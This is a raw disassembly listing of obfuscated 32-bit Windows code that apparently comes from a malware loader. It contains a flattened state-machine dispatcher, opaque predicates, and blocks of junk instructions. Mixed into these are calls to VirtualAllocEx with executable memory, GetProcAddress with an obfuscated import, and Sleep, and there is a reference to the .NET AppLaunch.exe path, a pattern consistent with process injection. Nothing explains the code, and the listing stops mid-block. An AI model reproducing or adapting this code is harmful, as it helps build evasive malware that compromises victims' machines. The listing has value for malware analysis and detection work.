xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
or dl, cl
xor cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xb2058825
cmovne ecx, esi
test dl, 1
mov edx, 0xb2058825
jmp 0x40761f
cmp eax, 0xe49f0714
jg 0x405798
cmp eax, 0xe2de4760
jg 0x406b0b
cmp eax, 0xe24018f1
je 0x409ce7
cmp eax, 0xe24f73d1
je 0x409cf1
cmp eax, 0xe29b5f7c
jne 0x402a30
mov eax, 0xf7fd1102
jmp 0x402a30
cmp eax, 0x603ed8ba
jg 0x4058ab
cmp eax, 0x5cc18440
jg 0x406b3e
cmp eax, 0x5b90c45f
je 0x409cfb
cmp eax, 0x5bb677ac
je 0x40a18c
cmp eax, 0x5bed6724
jne 0x402a30
mov eax, dword [ebp - 0x70]
mov dword [eax], 0
mov eax, 0xf0895f54
jmp 0x402a30
cmp eax, 0x94835da6
jg 0x4058f2
cmp eax, 0x92a85df6
jg 0x406d11
cmp eax, 0x91ffce94
je 0x40a28d
cmp eax, 0x922d80cc
je 0x40a297
cmp eax, 0x92369c52
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4bd88b35
and eax, 0xb42774ca
or eax, ecx
mov edi, eax
mov ecx, eax
xor ecx, 0x80273042
xor edi, 0x4bd88b35
xor eax, 0x9fd99790
and eax, edi
and ecx, 0x893fb152
and edi, 0x76c04ead
or edi, ecx
mov ecx, edi
mov edx, edi
xor ecx, 0x76c04ead
xor edx, 0x5d3eadf7
xor edi, 0x81f1000
and edx, ecx
mov esi, ecx
and edi, 0x3e1f1225
and esi, 0xc1e0edda
and ecx, 1
or eax, edx
or esi, edi
mov edx, eax
not edx
and eax, 0x79809685
mov edi, esi
xor edi, 0x3e1f1224
xor esi, 0x40c0c0c8
and edx, 0x867f697a
or ecx, edi
and esi, 0x6ed0c2ec
or eax, edx
mov edx, eax
xor edx, 0x2c808220
xor eax, 0x527e75de
mov edi, eax
or eax, ecx
and ecx, 0x912f3d13
and edi, 0x912f3d13
and edx, 0x6ed0c2ec
or edx, edi
or esi, ecx
not eax
mov edi, 0x2f98a61d
xor esi, edx
or eax, esi
mov edx, eax
xor edx, 0xe90e2c4a
mov ecx, eax
and ecx, 0x8102080a
and edx, eax
not eax
and eax, 0x680c2440
or ecx, eax
mov eax, ecx
xor eax, 0x81000800
xor ecx, 0x7efdf7f5
mov esi, ecx
and esi, 0x5272836b
and eax, 0xa90c2c00
or eax, esi
mov esi, edx
not esi
and edx, 0xad8d7c94
or ecx, esi
and esi, 0x5272836b
or edx, esi
not ecx
mov esi, 0x3e3005ff
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe90e2c4a
and eax, 0x16f1d3b5
or ecx, eax
setne cl
cmp dword [0x492380], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
xor dl, al
mov ecx, edx
cmovne esi, edi
not cl
test cl, al
cmovne esi, edi
test dl, dl
mov edx, esi
cmovne edx, edi
test cl, al
mov eax, dword [ebp - 0x64]
cmove edx, esi
mov eax, edx
jmp 0x402a30
cmp eax, 0xcd280e6
jg 0x405934
cmp eax, 0xb677f93
jg 0x406d48
cmp eax, 0x70ade4d
je 0x40a3b2
cmp eax, 0x96c599a
je 0x40a4ab
cmp eax, 0x9a3b977
jne 0x402a30
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xd6e94df0
and eax, 0x2916b20f
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xb3f271e2
mov esi, ecx
and esi, 0x4c0d8e1d
or edx, esi
mov esi, eax
xor esi, 0x21123002
xor eax, 0xd6e94df1
or ecx, eax
and eax, 0x4c0d8e1d
and esi, 0xb3f271e2
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov edx, ecx
xor edx, 0xebad2b00
mov eax, ecx
and eax, 0xb090a00
and edx, ecx
not ecx
and ecx, 0xe0a42100
or eax, ecx
mov ecx, eax
xor ecx, 0x2090800
xor eax, 0xf4f6f5ff
mov esi, eax
and esi, 0xcd06f207
and ecx, 0x22a90900
or ecx, esi
mov esi, edx
not esi
and edx, 0x32f90df8
or eax, esi
and esi, 0xcd06f207
or edx, esi
not eax
mov esi, 0xc186cc28
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x601dc2f1
and ecx, 0x9fe23d0e
or eax, ecx
cmp eax, 0x8bb0e9f1
sete dl
cmp dword [0x492380], 0xa
setl cl
mov eax, ecx
or cl, dl
xor al, dl
xor cl, 1
mov ah, al
or cl, al
xor al, cl
xor ah, 1
or cl, ah
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xace00ade
cmovne ecx, esi
test al, al
not dl
mov eax, 0xace00ade
cmovne ecx, esi
test dl, 1
jmp 0x409496
cmp eax, 0xd5933ee7
jg 0x405970
cmp eax, 0xd32c9c3c
jg 0x406d73
cmp eax, 0xcf408e0f
je 0x40a4d2
cmp eax, 0xd2259c04
je 0x40a4f7
cmp eax, 0xd24ca3d0
jne 0x402a30
mov eax, 0xfcd828f8
jmp 0x402a30
cmp eax, 0x4bd7a4cd
jg 0x4059a6
cmp eax, 0x49f22691
jg 0x406da1
cmp eax, 0x4763a53b
je 0x40a50a
cmp eax, 0x48722c1a
je 0x40a520
cmp eax, 0x4941a537
jne 0x402a30
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x1c0]
mov dword [eax], ecx
mov ecx, 0x1a7e56da
mov eax, dword [ebp - 0xa8]
cmp byte [eax], 0
mov eax, 0x97f5a747
cmove eax, ecx
jmp 0x402a30
cmp eax, 0xb5c8ba89
jg 0x4059dc
cmp eax, 0xb4c24944
jg 0x406df5
cmp eax, 0xb2b367f1
je 0x40a52a
cmp eax, 0xb2e49ec7
je 0x40a6c8
cmp eax, 0xb442c630
jne 0x402a30
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xb8]
mov edi, 0xd5933ee8
mov dword [ecx], eax
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x868fabf8
not edx
mov esi, edx
and ecx, eax
and esi, 0x868fabf8
and edx, 0x7bad40c4
and eax, 0x8452bf3b
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xe3a3ada3
xor eax, 0x8452bf3b
and esi, 0x1c5c525c
or ecx, esi
mov esi, 0x8ee171ad
xor ecx, 0x9ad3f9a5
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9c59b3a
and ecx, 0xf63a64c5
or eax, ecx
xor eax, 0x9c59b3a
sete al
setne ah
cmp dword [0x492380], 0xa
setl cl
setge dl
mov ch, cl
and cl, ah
and ah, dl
and ch, al
and al, dl
or ch, ah
or cl, al
mov eax, 0xd5933ee8
mov dh, ch
xor dh, dl
and dh, ch
xor cl, dh
mov dl, cl
cmovne eax, esi
not dl
test dl, dh
cmove eax, edi
test cl, cl
cmovne eax, esi
test dl, dh
cmovne eax, esi
jmp 0x402a30
cmp eax, 0x32970d16
jg 0x405a2c
cmp eax, 0x2ed4b617
jg 0x406e20
cmp eax, 0x2d6f64e6
je 0x40a6de
cmp eax, 0x2e9ec56d
je 0x40a6f4
cmp eax, 0x2ecfc3b1
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xf9fdf2
mov edx, eax
and edx, 0x10e460
and ecx, eax
not eax
mov esi, eax
and esi, 0xe91992
or edx, esi
mov esi, 0xfaac7a89
xor edx, 0x10e460
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x97ed6f58
and edx, 0x681290a7
or ecx, edx
mov edx, ecx
xor edx, 0x16009029
xor ecx, 0x8a00444
and ecx, 0x89b406c6
and edx, 0x764bf939
or edx, ecx
xor edx, 0x764bf939
or edx, eax
xor edx, 0xffffffff
sete ah
setne ch
cmp dword [0x492380], 0xa
setge al
setl dl
mov cl, al
xor cl, ch
mov dh, cl
and cl, al
and al, ah
and dh, ch
and ch, dl
xor cl, 1
or dl, ah
or al, ch
xor dh, 1
mov bl, dh
xor al, 1
mov ah, al
or al, dl
xor bl, cl
or cl, dh
xor cl, 1
xor ah, dl
xor al, 1
or al, ah
or cl, bl
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x20f226af
cmovne ecx, esi
test al, 1
mov esi, 0x20f226af
jmp 0x410349
cmp eax, 0xf599dfc4
jg 0x405b60
cmp eax, 0xf14738a2
jg 0x406f42
cmp eax, 0xef88123e
je 0x40a7e9
cmp eax, 0xef96fe29
je 0x40a7f6
cmp eax, 0xf0895f54
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x9ced4f0
mov esi, eax
and esi, 0xf6312b0e
and eax, 0x71453d
or edx, esi
mov esi, edx
xor esi, 0x8480440
xor edx, 0xf6312b0f
mov edi, edx
and edi, 0x3b6d9b1
and esi, 0xfc49264e
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xff8ebac2
mov ebx, edi
not ebx
and edi, 0xfc49264e
or eax, ecx
or edx, ebx
and ebx, 0x3b6d9b1
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x71453d
mov edi, esi
and edi, 0xff8ebac2
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x6ed81e3e
sete dl
cmp dword [0x492380], 0xa
setge ah
setl cl
mov al, ah
or ah, dl
xor al, dl
not al
and al, dl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x89bacaba
cmovne ecx, esi
test al, 1
mov eax, 0x89bacaba
jmp 0x402a24
cmp eax, 0x6fcfa414
jg 0x405b9c
cmp eax, 0x6f2209c2
jg 0x4070bc
cmp eax, 0x6decdc92
je 0x40a95b
cmp eax, 0x6e4fb6c0
je 0x40a9a3
cmp eax, 0x6ed81e3e
jne 0x402a30
mov eax, 0x89bacaba
jmp 0x402a30
cmp eax, 0x8ce0aa7a
jg 0x405bd2
cmp eax, 0x8acf8784
jg 0x4070e7
cmp eax, 0x89bacaba
je 0x40a9b9
cmp eax, 0x8a2bc508
je 0x40aa86
cmp eax, 0x8a7a0730
jne 0x402a30
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x3291c408
and eax, 0x814629d6
mov edx, ecx
and edx, 0x4c281221
or esi, edx
xor esi, 0x3291c408
or eax, esi
mov esi, 0x55c49ee4
mov edx, eax
not edx
and eax, 0x7eb9d628
and edx, 0x814629d7
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne al
cmp dword [0x492380], 0xa
setge cl
mov ah, cl
xor ah, al
or al, cl
or cl, dl
mov ch, al
and ah, dl
mov edx, eax
xor cl, 1
xor ch, 1
or cl, ah
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, al
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xbf622e70
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0xbf622e70
jmp 0x409496
cmp eax, 0x62e6074
jg 0x405c08
cmp eax, 0x4fbaa8c
jg 0x407112
cmp eax, 0x2bdc3d6
je 0x40aa90
cmp eax, 0x34fb200
je 0x40ab84
cmp eax, 0x4f08550
jne 0x402a30
mov eax, dword [ebp - 0x70]
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xb6e04912
mov eax, edx
and eax, 0x5f4859f7
and ecx, edx
not edx
and edx, 0xa0b7a608
mov esi, ecx
not esi
and ecx, 0x2d250d55
or eax, edx
mov edx, eax
xor eax, 0xa0a00000
xor edx, 0x4000910
or eax, 0x491fb6ed
and edx, 0x24200910
mov edi, eax
or eax, esi
and edi, 0xd2daf2aa
and esi, 0xd2daf2aa
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9ec79782
and ecx, 0x6138687d
or eax, ecx
mov esi, eax
xor esi, 0x2827de90
mov edx, eax
xor eax, 0x8b62fa26
xor edx, 0xd7d8216f
mov ecx, esi
or ecx, 0x5cbadb49
mov edi, edx
and eax, esi
and edi, 0x2450026
and esi, 0x905a5ff4
mov ebx, ecx
and ebx, 0xfd12a4d8
or edi, ebx
mov ebx, eax
not ebx
and eax, 0x2ed5b27
or ecx, ebx
and ebx, 0xfd12a4d8
or eax, ebx
not ecx
xor eax, edi
mov edi, edx
and edi, 0x6fa5a00b
and edx, 1
or ecx, eax
not eax
or edi, esi
and eax, 0x5cbadb48
and ecx, 0xa34524b7
or ecx, eax
mov eax, edi
xor eax, 0x905a5ff5
xor edi, 0x2c01800a
or edx, eax
mov eax, ecx
not eax
and ecx, 0x2c51c88e
and edi, 0x2c51c88e
mov esi, eax
or eax, edx
and esi, 0xd3ae3771
and edx, 0xd3ae3771
or ecx, esi
or edi, edx
not eax
mov esi, 0xdfcf8ce9
xor edi, ecx
or eax, edi
mov ecx, eax
xor ecx, 0x374d6b16
mov edx, eax
and edx, 0x30080206
and ecx, eax
not eax
and eax, 0x7456910
or edx, eax
xor edx, 0x30080206
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x9fb9c095
and eax, 0x60463f6a
or ecx, eax
mov eax, ecx
xor eax, 0x80240180
xor ecx, 0x53080018
and eax, 0x842755e4
and ecx, 0x7bd8aa1b
or ecx, eax
mov eax, ecx
xor eax, 0x84215544
xor ecx, 0x40d0281a
and ecx, 0x40d628ba
and eax, 0xbf29d745
or eax, ecx
xor eax, 0xbf29d745
setne ah
sete ch
cmp dword [0x492380], 0xa
setge al
setl dl
mov cl, al
and dl, ah
or cl, ch
and ch, al
xor cl, 1
or dl, ch
or cl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xfa6b1bd0
cmovne eax, esi
test dl, dl
mov edx, 0xfa6b1bd0
jmp 0x40ff52
cmp eax, 0xca2d283a
jg 0x405c3e
cmp eax, 0xc9b88c3e
jg 0x4072d8
cmp eax, 0xc93b5a2b
je 0x40ace5
cmp eax, 0xc983a701
je 0x40ae05
cmp eax, 0xc983cdd0
jne 0x402a30
or esi, 0x80
neg edi
inc esi
sub edx, 1
not ebx
bswap edi
dec edi
neg eax
not esi
imul eax
not edi
dec eax
or edx, 0xce
neg edx
not esi
imul eax
bswap edx
rol eax, 0xf9
dec eax
neg esi
bswap edx
dec ebx
neg eax
rol eax, 0x3f
and edi, 0x7c
rcr eax, 0xc
rcr edx, 3
and edx, 0x62
inc esi
neg esi
neg edi
sbb edi, 0xdc
rcr eax, 0x51
neg edi
not edx
sbb edx, 0xcc
inc ebx
not esi
sbb esi, 0x54
rol edi, 0x6b
dec edx
rcr esi, 0xd8
imul eax
and eax, 0x5e
not edi
not eax
sbb ebx, 0x74
sbb eax, 0xd3
imul eax
sub ebx, 0xd3
rcl edi, 0x50
neg eax
imul esi
sub eax, 0x76
add edx, 3
add edi, 0x14
inc edi
bswap esi
rcl edi, 0xc1
imul edx
rcr eax, 0x3a
dec edi
rcl edx, 0x30
not edx
inc esi
inc esi
not ebx
ror edx, 0xe9
rcr edx, 0x92
inc eax
rcl ebx, 0xbd
dec ebx
neg ebx
inc edi
rcr esi, 6
rcl esi, 0xec
sub esi, 0xb8
sbb ebx, 0x81
rcl esi, 0x34
rcr esi, 0x64
bswap eax
sbb esi, 0xfb
rol ebx, 0x5a
not esi
mov esi, 0xff
rcl esi, 0x18
rol esi, 0xcd
rol eax, 0x3b
inc esi
not ebx
rcl ebx, 0x35
rcr edi, 0x63
sub edi, 0xbe
imul edi
add eax, 0x89
inc edx
add eax, 0x5e
sub ebx, 0x48
sub edx, 0xa7
inc eax
ror eax, 0x76
ror ebx, 0x8f
mov esi, 0xca
rol edx, 0xd1
bswap edx
add edx, 0x7e
dec esi
dec eax
imul ebx
not edi
bswap ebx
add ebx, 0x64
neg esi
rol ebx, 0xf7
imul esi
dec edi
not edx
neg esi
and ebx, 0xa
not eax
neg esi
bswap esi
or edx, 0x36
inc edx
not eax
ror ebx, 0x55
rcr ebx, 0xc0
dec eax
neg esi
rcr eax, 0x25
sub edx, 0xea
bswap edi
neg edi
bswap eax
inc eax
sub esi, 0xcc
sub ebx, 0xd3
not edx
dec edi
dec eax
mov esi, 0x57
add edi, 0xb9
dec edx
ror eax, 0x10
bswap edx
mov edi, 0xb4
sbb edi, 0x32
rcl edi, 0x69
rol eax, 0x6b
inc edx
mov eax, 0xddec7afc
jmp 0x402a30
cmp eax, 0x45bb4104
jg 0x405c74
cmp eax, 0x452192ea
jg 0x40730c
cmp eax, 0x43821fc3
je 0x40af6a
cmp eax, 0x4507e504
je 0x40b15b
cmp eax, 0x4516de7e
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x361b4a6d
and eax, 0x40220426
mov edx, ecx
and edx, 0xc9e4b592
or ecx, 0xa8106080
or esi, edx
and ecx, 0xa8d86889
mov edx, esi
xor esi, 0x88002080
xor edx, 0x16010240
or eax, ecx
or esi, 0xc80809
and edx, 0x17059350
and esi, 0xa8d86889
or edx, esi
mov esi, 0x2918c73b
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xbf15f3d0
and ecx, 0x40ea0c2f
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x243af93c
andn eax, eax, eax
and edx, 0xdbc506c3
or ecx, edx
xor ecx, 0x243af93c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x51faf3cb
and ecx, 0xae050c34
or eax, ecx
mov ecx, eax
xor ecx, 0x50201081
xor eax, 0x84050834
and eax, 0x85dfeb7e
and ecx, 0x7a201481
or ecx, eax
xor ecx, 0x7a201481
sete al
setne dl
cmp dword [0x492380], 0xa
setge cl
setl ah
or cl, dl
xor dl, ah
xor al, ah
xor cl, 1
mov ah, dl
or cl, al
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0xf14738a3
cmovne ecx, esi
test dl, 1
mov esi, 0xf14738a3
jmp 0x41272e
cmp eax, 0xacced3f7
jg 0x40737d
cmp eax, 0xab19b027
je 0x40b165
cmp eax, 0xac361729
je 0x40b175
cmp eax, 0xac8acb2b
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
or edx, 1
mov eax, ecx
and eax, 1
mov esi, edx
not esi
and edx, 0xf951c24a
or eax, esi
and eax, 0x6ae3db5
or eax, edx
mov edx, eax
xor edx, 0x4222925
xor eax, 0xf951c24a
mov esi, eax
and esi, 0xc28d14d0
and edx, 0x3d72eb2f
or eax, ecx
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc28d14d0
not eax
and esi, 0x3d72eb2f
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0x1dff0fcc
mov ecx, eax
not ecx
and eax, 0x139868c7
and ecx, 0xec679738
or eax, ecx
xor eax, 0x139868c7
sete dl
setne ah
cmp dword [0x492380], 0xa
setl al
setge cl
and dl, cl
and al, ah
or cl, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xee0f0d0
jmp 0x40749c
cmp eax, 0x22aee928
jg 0x4073ae
cmp eax, 0x20c3addd
je 0x40b55a
cmp eax, 0x20f226af
je 0x40b564
cmp eax, 0x222f6f30
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xf01db67e
mov eax, ecx
and eax, 0x80090232
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x7014b44c
or eax, esi
mov esi, 0xa90dd187
xor eax, 0x80090232
or eax, edx
not edx
and edx, 0xfe24980
and eax, 0xf01db67f
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x492380], 0xa
mov ch, dl
setl cl
setge al
and dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
and al, ah
or al, dl
xor cl, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xb2b367f1
cmovne eax, esi
test dl, 1
mov edx, 0xb2b367f1
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
cmp eax, 0xe937d807
jg 0x4074aa
cmp eax, 0xe77ec575
je 0x40b66b
cmp eax, 0xe836ea1a
je 0x40b681
cmp eax, 0xe935a72d
jne 0x402a30
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x13c], eax
mov eax, 0xb18481cb
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0xd8], ecx
jmp 0x402a30
cmp eax, 0x690a41ad
jg 0x4074d5
cmp eax, 0x661bba64
je 0x40b68b
cmp eax, 0x66b3684a
je 0x40b75e
cmp eax, 0x68e5c2bb
jne 0x402a30
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov eax, dword [ecx + eax*4]
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xae50ea03
and eax, 0x51af15fc
or ecx, eax
xor ecx, 0xae50ea03
or edx, ecx
mov eax, edx
xor eax, 0xffff
movzx ecx, dx
and eax, edx
not edx
and edx, 0xffff0000
or ecx, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xb466f283
and eax, 0x4b990d7c
or eax, ecx
mov ecx, dword [ebp - 0x60]
xor eax, 0xb466f283
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, 0x603ed8bb
jmp 0x402a30
cmp eax, 0x9b84a749
jg 0x407629
cmp eax, 0x9b28a04a
je 0x40b76b
cmp eax, 0x9b2b88a5
je 0x40b819
cmp eax, 0x9b6f7660
jne 0x402a30
mov eax, dword [0x492384]
mov esi, 0x36033f71
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x19545f0b
mov edx, eax
and eax, 0xe6aba0f4
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xe6aba0f5
or eax, edx
mov ecx, eax
xor ecx, 0x95d6a7ad
and ecx, eax
not eax
and eax, 0x95d6a7ad
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x1a8c0ffb
and eax, 0xe573f004
or ecx, eax
xor ecx, 0x8f5aa856
setne dl
sete ah
cmp dword [0x492380], 0xa
setge al
setl cl
mov ch, al
and cl, dl
xor ch, ah
and ah, al
and al, ch
or cl, ah
xor al, 1
mov edx, eax
or al, ch
xor dl, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x15c1dfa
cmovne eax, esi
test dl, dl
mov edx, 0x15c1dfa
jmp 0x40ff52
cmp eax, 0x109912ea
jg 0x407675
cmp eax, 0xfa58b7c
je 0x40b92e
cmp eax, 0xfed70e3
je 0x40ba66
cmp eax, 0x1046d346
jne 0x402a30
mov eax, 0x79eccd76
jmp 0x402a30
cmp eax, 0xdafad224
jg 0x4076ac
cmp eax, 0xd7fe7668
je 0x40ba70
cmp eax, 0xda804c0f
je 0x40ba92
cmp eax, 0xdae0bd82
jne 0x402a30
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x30]
mov eax, 0xb677f94
jmp 0x402a30
cmp eax, 0x52c4c346
jg 0x4076d7
cmp eax, 0x515982a8
je 0x40ba9c
cmp eax, 0x5204c04b
je 0x40bb97
cmp eax, 0x52b2f393
jne 0x402a30
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
or eax, 1
and edx, ecx
not ecx
mov edi, eax
and edi, 0x2ef83bc3
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0xd107c43c
and edx, 0xd107c43c
or eax, ebx
and ebx, 0x2ef83bc3
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0xd48eb65b
or eax, edx
mov edx, eax
not edx
and eax, 0x8d01cd43
and edx, 0x72fe32bc
or eax, edx
xor eax, 0x8d01cd43
or eax, ecx
xor eax, 0xffffffff
setne ch
sete ah
cmp dword [0x492380], 0xa
setge cl
setl al
mov edx, ecx
and al, ch
xor dl, ah
and ah, cl
xor dl, 1
or al, ah
or dl, cl
xor al, 1
mov ecx, edx
not cl
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, al
or al, dl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0x9e147431
cmovne edx, esi
test al, al
mov eax, 0x9e147431
cmovne eax, edx
jmp 0x41162d
cmp eax, 0xb860f0f4
jg 0x40770d
cmp eax, 0xb73a4cfd
je 0x40bba1
cmp eax, 0xb7f1287e
je 0x40bc7e
cmp eax, 0xb7fe891b
jne 0x402a30
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1b4]
vmovups ymm1, ymmword [0x43e1b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x43e1d0]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
add eax, 0x24
mov dword [ecx], eax
imul ebx
neg eax
not edx
bswap edx
not esi
not edx
rol edi, 0x75
or eax, 0x5c
inc ebx
inc edi
dec esi
dec eax
dec ebx
add edx, 0xfb
rol ebx, 0xae
imul edx
sbb ebx, 0xfc
sbb edi, 0xeb
neg edi
neg edx
bswap ebx
rcr esi, 0x39
inc ebx
or ebx, 0x53
bswap edi
mov edx, 0xd7
sbb edi, 0x8f
sub edx, 0x66
or ebx, 0xb1
inc ebx
inc ebx
neg esi
and edi, 0x8a
and eax, 0x6a
neg esi
and ebx, 0xa1
bswap ebx
sub ebx, 0x8a
not eax
bswap ebx
inc edi
ror eax, 0x69
neg esi
inc eax
inc esi
rcr ebx, 0xac
bswap esi
bswap eax
dec eax
imul eax
add edx, 0x96
inc edi
ror esi, 0x24
or ebx, 0x6f
sub esi, 0x25
not edx
imul esi
sub edx, 0x2e
dec esi
mov eax, 0x91
and ebx, 0x70
mov ebx, 0x76
imul edi
bswap edx
and edx, 0x95
neg esi
inc ebx
not edx
sub ebx, 0xef
rcl edx, 0xb4
not esi
not ebx
not edi
neg esi
mov eax, 0x6a
rcr edx, 0x51
neg eax
sbb eax, 0xae
sbb edi, 0x35
rol edx, 0xed
imul eax
add ebx, 0x5f
not edx
ror eax, 0xd3
sbb edx, 0xb
rcr edi, 0xf5
inc ebx
ror ebx, 0x55
ror ebx, 0x27
mov esi, 0x70
sub eax, 0x78
inc eax
inc edi
neg edx
inc ebx
ror ebx, 0x32
rcr eax, 0xbc
mov eax, 0x30
ror ebx, 0x40
rcr eax, 0xae
imul eax
and esi, 0xdf
not edi
or edi, 0x4e
dec edi
inc edx
dec esi
add esi, 0x35
bswap ebx
rcr edx, 0x61
ror edi, 0xd6
neg ebx
bswap edx
not esi
neg esi
sub edx, 0x29
neg eax
or eax, 0x40
rcl edi, 0x20
sbb edi, 0x39
not ebx
inc esi
